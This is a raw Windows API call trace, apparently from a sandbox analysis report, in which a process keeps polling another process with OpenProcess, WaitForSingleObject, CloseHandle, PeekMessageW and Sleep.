CloseHandle (hObject=0x4d8) returned 1 [0239.729] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.729] Sleep (dwMilliseconds=0x1) [0239.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc [0239.745] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0xa) returned 0x102 [0239.760] CloseHandle (hObject=0x4fc) returned 1 [0239.760] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.760] Sleep (dwMilliseconds=0x1) [0239.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc [0239.775] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0xa) returned 0x102 [0239.794] CloseHandle (hObject=0x4fc) returned 1 [0239.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.794] Sleep (dwMilliseconds=0x1) [0239.806] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc [0239.806] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0xa) returned 0x102 [0239.822] CloseHandle (hObject=0x4fc) returned 1 [0239.822] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.822] Sleep (dwMilliseconds=0x1) [0239.838] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50c [0239.838] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xa) returned 0x102 [0239.854] CloseHandle (hObject=0x50c) returned 1 [0239.854] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.854] Sleep (dwMilliseconds=0x1) [0239.869] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x528 [0239.869] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0xa) returned 0x102 [0239.885] CloseHandle (hObject=0x528) returned 1 [0239.885] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.885] Sleep (dwMilliseconds=0x1) [0239.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x52c [0239.902] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xa) returned 0x102 [0239.916] CloseHandle (hObject=0x52c) returned 1 [0239.916] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0239.916] Sleep (dwMilliseconds=0x1) [0239.970] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x52c [0239.970] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xa) returned 0x102 [0240.733] CloseHandle (hObject=0x52c) returned 1 [0240.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0240.733] Sleep (dwMilliseconds=0x1) [0240.746] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x538 [0240.746] WaitForSingleObject (hHandle=0x538, dwMilliseconds=0xa) returned 0x102 [0240.763] CloseHandle (hObject=0x538) returned 1 [0240.763] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0240.763] Sleep (dwMilliseconds=0x1) [0240.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x538 [0240.775] WaitForSingleObject (hHandle=0x538, dwMilliseconds=0xa) returned 0x102 [0241.882] CloseHandle (hObject=0x538) returned 1 [0241.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0241.882] Sleep (dwMilliseconds=0x1) [0241.892] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0241.892] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0241.902] CloseHandle (hObject=0x550) returned 1 [0241.902] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0241.902] Sleep (dwMilliseconds=0x1) [0241.916] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0241.916] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0241.931] CloseHandle (hObject=0x550) returned 1 [0241.932] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0241.932] Sleep (dwMilliseconds=0x1) [0241.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0241.947] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0241.963] CloseHandle (hObject=0x550) returned 1 [0241.963] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0241.963] Sleep (dwMilliseconds=0x1) [0241.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0241.978] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0241.995] CloseHandle (hObject=0x550) returned 1 [0241.995] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0241.995] Sleep (dwMilliseconds=0x1) [0242.010] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.010] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.025] CloseHandle (hObject=0x550) returned 1 [0242.025] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.025] Sleep (dwMilliseconds=0x1) [0242.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.041] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.056] CloseHandle (hObject=0x550) returned 1 [0242.057] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.057] Sleep (dwMilliseconds=0x1) [0242.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.072] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.088] CloseHandle (hObject=0x550) returned 1 [0242.088] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.088] Sleep (dwMilliseconds=0x1) [0242.104] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.104] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.119] CloseHandle (hObject=0x550) returned 1 [0242.119] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.119] Sleep (dwMilliseconds=0x1) [0242.135] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.135] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.150] CloseHandle (hObject=0x550) returned 1 [0242.151] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.151] Sleep (dwMilliseconds=0x1) [0242.167] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.167] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.181] CloseHandle (hObject=0x550) returned 1 [0242.182] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.182] Sleep (dwMilliseconds=0x1) [0242.197] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.197] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.214] CloseHandle (hObject=0x550) returned 1 [0242.214] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.214] Sleep (dwMilliseconds=0x1) [0242.228] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.228] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.244] CloseHandle (hObject=0x550) returned 1 [0242.244] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.244] Sleep (dwMilliseconds=0x1) [0242.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.260] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.275] CloseHandle (hObject=0x550) returned 1 [0242.275] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.275] Sleep (dwMilliseconds=0x1) [0242.291] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.291] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.306] CloseHandle (hObject=0x550) returned 1 [0242.307] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.307] Sleep (dwMilliseconds=0x1) [0242.322] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.322] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.338] CloseHandle (hObject=0x550) returned 1 [0242.338] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.338] Sleep (dwMilliseconds=0x1) [0242.353] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.354] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.382] CloseHandle (hObject=0x550) returned 1 [0242.382] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.382] Sleep (dwMilliseconds=0x1) [0242.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.385] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.400] CloseHandle (hObject=0x550) returned 1 [0242.400] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.400] Sleep (dwMilliseconds=0x1) [0242.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.417] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.432] CloseHandle (hObject=0x550) returned 1 [0242.432] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.432] Sleep (dwMilliseconds=0x1) [0242.447] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.447] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.464] CloseHandle (hObject=0x550) returned 1 [0242.464] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.464] Sleep (dwMilliseconds=0x1) [0242.478] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.478] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.494] CloseHandle (hObject=0x550) returned 1 [0242.494] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.494] Sleep (dwMilliseconds=0x1) [0242.511] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.511] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.525] CloseHandle (hObject=0x550) returned 1 [0242.525] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.525] Sleep (dwMilliseconds=0x1) [0242.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.541] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.557] CloseHandle (hObject=0x550) returned 1 [0242.557] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.557] Sleep (dwMilliseconds=0x1) [0242.572] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.572] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.588] CloseHandle (hObject=0x550) returned 1 [0242.588] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.588] Sleep (dwMilliseconds=0x1) [0242.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.603] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.619] CloseHandle (hObject=0x550) returned 1 [0242.619] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.619] Sleep (dwMilliseconds=0x1) [0242.635] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.635] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.651] CloseHandle (hObject=0x550) returned 1 [0242.651] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.651] Sleep (dwMilliseconds=0x1) [0242.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.666] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.682] CloseHandle (hObject=0x550) returned 1 [0242.682] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.682] Sleep (dwMilliseconds=0x1) [0242.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.697] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.715] CloseHandle (hObject=0x550) returned 1 [0242.715] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.715] Sleep (dwMilliseconds=0x1) [0242.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.728] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.744] CloseHandle (hObject=0x550) returned 1 [0242.744] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.744] Sleep (dwMilliseconds=0x1) [0242.760] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.760] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.775] CloseHandle (hObject=0x550) returned 1 [0242.775] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.775] Sleep (dwMilliseconds=0x1) [0242.791] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.791] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.806] CloseHandle (hObject=0x550) returned 1 [0242.807] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.807] Sleep (dwMilliseconds=0x1) [0242.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.822] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.838] CloseHandle (hObject=0x550) returned 1 [0242.838] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.838] Sleep (dwMilliseconds=0x1) [0242.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x550 [0242.853] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0xa) returned 0x102 [0242.880] CloseHandle (hObject=0x550) returned 1 [0242.880] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.880] Sleep (dwMilliseconds=0x1) [0242.886] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x568 [0242.886] WaitForSingleObject (hHandle=0x568, dwMilliseconds=0xa) returned 0x102 [0242.903] CloseHandle (hObject=0x568) returned 1 [0242.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.903] Sleep (dwMilliseconds=0x1) [0242.917] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x578 [0242.917] WaitForSingleObject (hHandle=0x578, dwMilliseconds=0xa) returned 0x102 [0242.938] CloseHandle (hObject=0x578) returned 1 [0242.938] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.938] Sleep (dwMilliseconds=0x1) [0242.948] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x578 [0242.948] WaitForSingleObject (hHandle=0x578, dwMilliseconds=0xa) returned 0x102 [0242.963] CloseHandle (hObject=0x578) returned 1 [0242.963] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.963] Sleep (dwMilliseconds=0x1) [0242.979] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57c [0242.979] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0xa) returned 0x102 [0242.996] CloseHandle (hObject=0x57c) returned 1 [0242.996] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0242.996] Sleep (dwMilliseconds=0x1) [0243.010] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57c [0243.010] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0xa) returned 0x102 [0243.026] CloseHandle (hObject=0x57c) returned 1 [0243.026] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.026] Sleep (dwMilliseconds=0x1) [0243.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57c [0243.041] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0xa) returned 0x102 [0243.057] CloseHandle (hObject=0x57c) returned 1 [0243.057] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.057] Sleep (dwMilliseconds=0x1) [0243.073] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x588 [0243.073] WaitForSingleObject (hHandle=0x588, dwMilliseconds=0xa) returned 0x102 [0243.088] CloseHandle (hObject=0x588) returned 1 [0243.088] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.088] Sleep (dwMilliseconds=0x1) [0243.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x588 [0243.108] WaitForSingleObject (hHandle=0x588, dwMilliseconds=0xa) returned 0x102 [0243.122] CloseHandle (hObject=0x588) returned 1 [0243.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.122] Sleep (dwMilliseconds=0x1) [0243.135] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x594 [0243.135] WaitForSingleObject (hHandle=0x594, dwMilliseconds=0xa) returned 0x102 [0243.150] CloseHandle (hObject=0x594) returned 1 [0243.150] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.150] Sleep (dwMilliseconds=0x1) [0243.168] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x598 [0243.168] WaitForSingleObject (hHandle=0x598, dwMilliseconds=0xa) returned 0x102 [0243.182] CloseHandle (hObject=0x598) returned 1 [0243.182] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.182] Sleep (dwMilliseconds=0x1) [0243.197] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.197] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.213] CloseHandle (hObject=0x5a4) returned 1 [0243.213] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.213] Sleep (dwMilliseconds=0x1) [0243.230] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.230] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.244] CloseHandle (hObject=0x5a4) returned 1 [0243.244] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.244] Sleep (dwMilliseconds=0x1) [0243.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.260] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.276] CloseHandle (hObject=0x5a4) returned 1 [0243.276] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.276] Sleep (dwMilliseconds=0x1) [0243.293] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.293] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.307] CloseHandle (hObject=0x5a4) returned 1 [0243.307] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.307] Sleep (dwMilliseconds=0x1) [0243.322] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.322] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.338] CloseHandle (hObject=0x5a4) returned 1 [0243.338] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.338] Sleep (dwMilliseconds=0x1) [0243.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.357] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.382] CloseHandle (hObject=0x5a4) returned 1 [0243.382] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.382] Sleep (dwMilliseconds=0x1) [0243.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.385] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 [0243.400] CloseHandle (hObject=0x5a4) returned 1 [0243.401] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0243.401] Sleep (dwMilliseconds=0x1) [0243.416] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5a4 [0243.416] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xa) returned 0x102 